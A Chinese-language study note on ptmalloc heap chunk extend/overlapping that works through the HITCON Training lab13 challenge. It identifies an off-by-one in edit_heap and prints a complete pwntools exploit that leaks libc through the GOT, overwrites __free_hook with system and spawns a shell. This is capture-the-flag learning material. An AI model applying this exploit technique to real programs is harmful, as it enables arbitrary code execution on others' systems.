Chunk Extend and Overlapping 学习笔记
基本思想
ptmalloc 在对 chunk 进行各种操作时,会使用相关的宏。而这些宏的具体计算需要用到存储在 chunk 上的头部信息。如果我们可以对头部信息进行恰当的构造,就可以控制 ptmalloc 对 chunk 的部分行为,例如对前一个 chunk 的地址定位,free 后所被分配到的 bin等。
更具体一点就是,两个 chunk 覆盖到了同一片内存区域,这往往是通过 extend 实现的。通过 overlapping ,可以让原本我们不可控的区域变得可控。
遇到的一些知识点
关于 free 中的 Top chunk
所释放的 chunk 属于 fast bin 大小范围,则会直接放入 fast bin ;否则,当它与 Top chunk 相邻时,会直接被合并到 Top chunk 之中,不相邻就放入 unsorted bin 中。
malloc(size) 所申请的 chunk 的实际大小
有一个宏专门用来计算:
/* pad request bytes into a usable size -- internal version */
//MALLOC_ALIGN_MASK = 2 * SIZE_SZ -1
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \
? MINSIZE \
: ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
意思就是:实际分配的内存大小是 头部大小+申请大小 然后向上对齐到两倍字长。
然而实际上,分配时会考虑到 prev_size 部分空间的复用,所以在实际情况中计算需要减去一个字长再对齐。
例如 malloc(0x18),实际分配的 chunk 大小应该是 0x10+0x18-0x8=0x20。
HITCON Training lab13
对我这种 noob 非常友好的一道题
[*] '/home/pwner/Desktop/Study/Heap/Extend_and_Overlapping/lab13/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3fe000)
Stripped: No
审计 create_heap,delete_heap 函数,得知操作在内存中的基本流程:
对于 create 会 malloc(0x10) 一个 chunk 来存储一个结构如下的结构体:
struct Heap{
int content_size;
char *content_ptr;
};
再根据 content_size 为 content 分配一个 chunk。
对于每一个创造的 Heap,指向它的指针都存储在 .bss 段中的 heaparray 中,每次会选择 heaparray 首个为空的元素存储。
在 edit_heap 函数中发现 off-by-one 任意字节:
unsigned __int64 edit_heap()
{
int n0xA; // [rsp+Ch] [rbp-14h]
char buf[8]; // [rsp+10h] [rbp-10h] BYREF
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Index :");
read(0, buf, 4u);
n0xA = atoi(buf);
if ( (unsigned int)n0xA >= 0xA )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&heaparray + n0xA) )
{
printf("Content of heap : ");
read_input(*((void **)*(&heaparray + n0xA) + 1), *(_QWORD *)*(&heaparray + n0xA) + 1LL);
puts("Done !");
}
else
{
puts("No such heap !");
}
return __readfsqword(0x28u) ^ v3;
}
这是在 chunk 上 off-by-one,意味着我们可以修改下一个 chunk 的 prev_size 和 size,实现 chunk extend。
首先需要泄露 libc_base,这一部分可以考虑这样做:
申请 4 个 heap,分别为 heap0,heap1,heap2,heap3,其中 heap0 用于 off-by-one,heap1 extend 到 heap2,heap3 用于防止 free 时直接与 Top chunk 合并了。
通过 Edit heap0 把 heap1 和 heap2 合并在一起,然后 Delete heap1。off-by-one 时具体构造 size = 0x81 将 heap1 + content1 + heap2 + content2 给 free 掉。然后 create 两次,第一次把 fastbin 中的 0x20 的 chunk 用掉,防止后面 create 的 heap 与我们要写的部分重叠,这个 heap 根据 create_heap 函数的逻辑,其编号会为 1;第二次用来覆盖 heap2 的内容,我们通过申请 0x70 大小的 chunk 可以把上面合并的内存拿回来写,将 heap2 的 content_ptr 改为指向 got 表,然后通过 show heap2 得到 libc_base,这个 heap 的编号为 4。
得到后 libc_base 后,通过 Edit heap4 可以再次改 heap2.content_ptr 为 __free_hook 的地址,然后再用 Edit heap2 写 system_addr。再随便拿个 heap 写 /bin/sh\x00 后 free 掉就可以 getshell 了。
exp:
from pwn import *
io = process('./pwn')
libc = ELF('./libc.so.6')
elf = ELF('./pwn')
def Create(heap_size,content):
io.sendlineafter(b':',b'1')
io.sendlineafter(b': ',str(heap_size).encode())
io.sendafter(b':',content)
def Edit(index,content):
io.sendlineafter(b':',b'2')
io.sendlineafter(b':',str(index).encode())
io.sendlineafter(b': ',content)
def Show(index):
io.sendlineafter(b':',b'3')
io.sendlineafter(b':',str(index).encode())
def Del(index):
io.sendlineafter(b':',b'4')
io.sendlineafter(b':',str(index).encode())
def Exploit():
Create(0x18,b'a'*0x18) # id=0
Create(0x10,b'b'*0x10) # id=1
Create(0x10,b'c'*0x10) # id=2
Create(0x10,b'd'*0x10) # id=3
Edit(0,b'e'*0x18+b'\x81')
Del(1)
payload = b'f'*0x30+p64(0x20)+p64(0x21)+p64(0x8)+p64(elf.got['puts'])+b'f'*0x20
Create(0x10,'z'*0x10) # id=1
Create(0x70,payload) # id=4
Show(2)
io.recvuntil(b'Content : ')
puts_addr = io.recv(6)+b'\x00'*2
puts_addr = u64(puts_addr)
libc_base = puts_addr-libc.symbols['puts']
system_addr = libc_base+libc.symbols['system']
free_hook_addr = libc_base+libc.symbols['__free_hook']
print(hex(libc_base))
Create(0x8,b'/bin/sh\x00') #id=5
payload = b'g'*0x30+p64(0x20)+p64(0x21)+p64(0x8)+p64(free_hook_addr)+b'g'*0x20
Edit(4,payload)
Edit(2,p64(system_addr))
Del(5)
io.interactive()
if __name__ == '__main__':
Exploit()
2015 hacklu bookstore
施工中.....
2016 Nuit du Hack CTF Quals : night deamonic heap
施工中.....

浙公网安备 33010602011771号